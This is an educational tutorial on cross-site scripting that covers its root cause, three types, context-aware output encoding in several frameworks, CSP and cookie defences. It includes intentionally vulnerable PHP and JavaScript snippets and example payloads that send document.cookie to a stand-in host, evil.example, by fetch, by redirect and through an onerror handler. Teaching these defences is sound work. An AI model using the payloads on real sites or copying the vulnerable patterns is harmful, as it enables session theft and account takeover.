Cross-Site Scripting (XSS) is one of the oldest entries on the OWASP Top 10, and it is still everywhere — in comment boxes, search results, profile fields, even URL parameters reflected back onto a page. It survives because the mistake is easy to make and easy to miss in review: a piece of user data gets printed into HTML without being escaped.

This note is a compact tour. By the end you should be able to explain what XSS is, spot the pattern that causes it, tell the three attack types apart, and know exactly which techniques stop it.


The one-sentence definition

XSS happens when data supplied by a user is allowed to be interpreted as HTML or JavaScript by the browser, instead of being treated purely as text on the page.

Everything else in this article is a consequence of that sentence.


Why it happens: code and data get mixed in the browser too

This is the exact same root cause as SQL injection, just in a different parser:

  • Code — HTML tags, attributes, and <script> content that the browser executes or renders.
  • Data — a username, a comment, a search term, a URL parameter.

When a server (or client-side JS) writes user input straight into the page’s HTML, the browser cannot tell which characters were meant to be a harmless string and which were meant to be markup. It just parses the whole response as HTML.

Developer's template "<p>Hi, " User input (comment) <script>...</script> HTML sent to browser <p>Hi, <script>...</script> Browser parses & runs script
The browser receives one blob of HTML. It cannot distinguish the developer's markup from the attacker's script tag — both get parsed and the script runs.

A concrete attack, step by step

Here is a comment box rendered the dangerous way. The language is PHP, but the flaw is identical in every language and framework that skips output escaping.

// DANGEROUS — never do this
$comment = $_POST['comment'];

echo "<div class='comment'>" . $comment . "</div>";

Step 1 — the normal case

Input: Nice article, thanks!

<div class="comment">Nice article, thanks!</div>

Works fine. This is why the bug survives code review — the happy path looks correct.

Step 2 — inject a script

Input: <script>alert(document.cookie)</script>

<div class="comment"><script>alert(document.cookie)</script></div>

Every visitor who loads this page now runs the attacker’s JavaScript, with full access to the page’s DOM, cookies, and session.

Step 3 — steal the session, not just show an alert

Input:

<script>fetch('https://evil.example/steal?c=' + document.cookie)</script>

The alert box was just a proof of concept. A real payload silently ships the victim’s session cookie to an attacker-controlled server — no popup, no visible sign anything happened.

Step 4 — skip the tag entirely, use an event handler

Filters that only block <script> are trivially bypassed:

<img src=x onerror="fetch('https://evil.example/steal?c='+document.cookie)">

There is no <script> tag at all. The broken image triggers onerror, which runs the same JavaScript. Dozens of attributes (onload, onmouseover, onerror, onfocus, onclick) can carry a payload.

Prove it works alert(1) Read cookies document.cookie Exfiltrate fetch() to attacker Session hijack act as the victim
One unescaped field is rarely "just" a popup. It is a foothold that escalates to full account takeover.

The three flavours of XSS

Stored (persistent) Payload is saved in the database (a comment, profile bio, review) and served to every visitor who views that page. Highest impact — no link needed, hits everyone. Reflected (non-persistent) Payload rides in the request (a URL query param, a search box) and is echoed straight back in the response. Needs the victim to click a crafted link. DOM-based Never touches the server at all. Client-side JS reads something attacker-controlled (location.hash, document.URL) and writes it into the DOM via innerHTML or similar.
Same root cause, three different places the unescaped write happens: the database, the request/response cycle, or the browser's own JavaScript.

Reflected example — a search page that echoes the query back:

// DANGEROUS
echo "You searched for: " . $_GET['q'];
https://shop.example/search?q=<script>document.location='https://evil.example/steal?c='+document.cookie</script>

The attacker sends this link to the victim (email, chat, ad). One click runs the script in the victim’s authenticated session.

DOM-based example — client-side code that trusts the URL:

// DANGEROUS
document.getElementById('welcome').innerHTML =
  'Hello, ' + decodeURIComponent(location.hash.slice(1));
https://app.example/#<img src=x onerror=alert(document.cookie)>

Nothing is sent to the server. The bug is entirely in the browser, so server-side sanitisation cannot catch it — this one has to be fixed in the front-end code.


The fix: escape output, by context

The cure is to encode data for the context it lands in, right before it is written, so the browser can never interpret it as anything other than a literal value.

✗ Raw concatenation echo "<div>" . $comment . "</div>" Browser receives: <div><script>...</script></div> The value is written as-is. Any HTML inside it is parsed as markup. ✓ Context-aware encoding echo "<div>" . htmlspecialchars($comment) . "</div>" Browser receives: &lt;script&gt;...&lt;/script&gt; (shown as text) Angle brackets become entities. The browser displays them, never executes them.
Same user input, two outcomes. The only difference is whether the value was encoded for its context before being written.

How it looks in real code

Raw PHP:

echo "<div class='comment'>" . htmlspecialchars($comment, ENT_QUOTES, 'UTF-8') . "</div>";

Blade (Laravel) — {{ }} escapes automatically:

<div class="comment">{{ $comment }}</div>

Only use {!! !!} when the value is trusted HTML you control, never raw user input.

React — JSX escapes by default; dangerouslySetInnerHTML is the escape hatch and needs sanitisation:

<div className="comment">{comment}</div>   {/* safe — escaped automatically */}

<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(comment) }} />  {/* only if you truly need raw HTML */}

Vue — {{ }} escapes; v-html is the equivalent escape hatch:

<div class="comment">{{ comment }}</div>  <!-- safe -->
<div v-html="comment"></div>              <!-- dangerous unless sanitised -->

Node.js / Express with a template engine (EJS):

<div class="comment"><%= comment %></div>   <!-- escaped -->
<div class="comment"><%- comment %></div>   <!-- NOT escaped — avoid with user input -->

Every modern templating engine escapes by default ({{ }}, <%= %>). The bug almost always comes from reaching for the engine’s explicit “trust me, output raw HTML” syntax — {!! !!}, v-html, dangerouslySetInnerHTML, <%- -%> — on data that came from a user.


Encoding is not one-size-fits-all

The same value needs different encoding depending on where it’s written. This is the part people get wrong even when they know to “escape output.”

Output context Example Encode with
HTML body <div>{{ input }}</div> HTML entity encoding (< → &lt;)
HTML attribute <img alt="{{ input }}"> Attribute encoding (also quote-aware)
JavaScript string <script>var x = "{{ input }}";</script> JS-string encoding — HTML encoding alone does not stop ";alert(1);//
URL parameter <a href="?q={{ input }}"> URL encoding (encodeURIComponent)
CSS value <div style="color:{{ input }}"> CSS encoding, or avoid entirely

Mixing these up is a common bypass: HTML-encoding a value that lands inside a <script> block does nothing, because the browser never treats that region as HTML in the first place — it’s already inside a JS string. Use a library built for this (OWASP’s ESAPI-style encoders, Laravel Blade, DOMPurify for cases needing rich HTML) rather than hand-rolling encoders per context.


The trap: things that are not fixes

Non-fix Why it fails
Blocklisting <script> Bypassed by <img onerror=...>, <svg onload=...>, <a href="javascript:...">, and dozens of other event-handler and pseudo-protocol vectors.
Stripping tags with regex HTML parsing is not a regular language; malformed or nested markup routinely slips through hand-written filters.
Client-side validation only Anyone can bypass JS validation with browser devtools or a direct HTTP request. Validate again on the server.
Escaping once, then reusing the “clean” string in a new context A value escaped for HTML is not automatically safe inside a <script> block or a URL — see the table above.
innerHTML = userInput Directly parses the string as HTML. Use textContent for plain text, or a sanitiser if HTML is genuinely required.
Trusting “internal” or “admin-only” fields Stored XSS in an admin panel still executes in the admin’s browser — often a higher-value target than a public page.

Defense in depth

Output encoding stops the vulnerability at its source. The other layers limit the blast radius if something slips through — a new field added under deadline, a third-party widget, a forgotten v-html.

core 1 Context-aware output encoding (templating engine default) 2 Input validation — allow-list format for structured fields 3 Content-Security-Policy header — blocks inline/unexpected scripts 4 HttpOnly + Secure cookies, sanitiser (DOMPurify) for rich text
Only layer 1 removes the bug. Layers 2–4 decide how bad it is when someone forgets layer 1 — a strong CSP in particular can stop a missed injection from ever running.

Content-Security-Policy is worth calling out specifically. A header like:

Content-Security-Policy: script-src 'self'

tells the browser to refuse to execute inline <script> tags and event-handler attributes entirely, and only run scripts loaded from your own origin. It doesn’t fix the injection, but it can turn a successful injection into a harmless, inert string — a strong second layer.

Cookie flags matter too. HttpOnly stops document.cookie from reading the session cookie at all, so even a successful XSS payload can’t steal it directly. Secure and SameSite=Strict/Lax close related gaps.


How it gets found

Testers and attackers probe the same way, and you can run these checks against your own app:

  • The angle bracket probe. Enter <script>alert(1)</script> (or "><svg onload=alert(1)> for attribute contexts) into every field, URL parameter, and header your app reflects. If an alert box fires, the input reached the page unescaped.
  • Check every context, not just the obvious one. Try the payload in query strings, form fields, Referer/User-Agent headers if you log and later render them, and file upload names.
  • Automated scanners. Burp Suite, OWASP ZAP, and dalfox automate payload variations across contexts; static analysers (ESLint’s no-unsanitized, Semgrep) flag innerHTML/v-html/dangerouslySetInnerHTML at build time. Wire one into CI.

Test on systems you own or are authorised to test. Unauthorised probing is illegal.


A five-point checklist

  1. Never write user input into HTML, an attribute, a script, or a URL without encoding it for that specific context.
  2. Trust your templating engine’s default escaping ({{ }}, <%= %>) and treat the raw-output escape hatch ({!! !!}, v-html, dangerouslySetInnerHTML) as a red flag requiring justification and sanitisation.
  3. Add a Content-Security-Policy header that disallows inline scripts — it catches what encoding misses.
  4. Set HttpOnly and Secure on session cookies so a successful injection still can’t steal the session.
  5. Grep your codebase for the danger signs: innerHTML =, v-html, dangerouslySetInnerHTML, {!! !!}, <%- -%>, document.write(. Review every hit.

Conclusion

XSS is the browser-side twin of SQL injection: the same mistake — letting user data become code instead of staying data — just in a different parser. It shows up as stored, reflected, or DOM-based, but the fix is always the same shape: encode the value for the exact context it lands in, right before you write it, and let your templating engine do that by default instead of reaching for the raw-output escape hatch. Add a Content-Security-Policy and HttpOnly cookies as a safety net, and this entire class of vulnerability stops being something that reaches production.